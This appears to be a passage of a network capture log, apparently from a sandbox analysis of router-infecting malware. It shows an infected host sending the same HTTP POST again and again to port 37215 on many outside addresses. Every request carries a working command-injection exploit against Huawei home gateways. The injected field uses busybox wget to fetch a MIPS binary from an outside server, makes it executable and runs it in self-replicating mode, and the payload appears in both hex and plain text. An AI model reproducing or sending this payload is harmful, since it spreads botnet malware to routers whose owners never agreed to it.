2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	35610	157.136.175.137	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414136887 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	36598	197.170.105.28	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414136887 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	45068	197.153.186.108	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414526939 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	58460	207.21.193.219	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414526939 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	57698	157.177.125.202	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414526939 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	60422	157.250.180.168	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414527893 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	48024	197.62.166.112	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414527893 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	34370	41.89.17.37	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414527893 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	59254	152.71.212.76	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414686918 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	37178	197.17.71.182	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414686918 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	54462	157.81.103.110	37215

Timestamp	Bytes transferred	Direction	Data
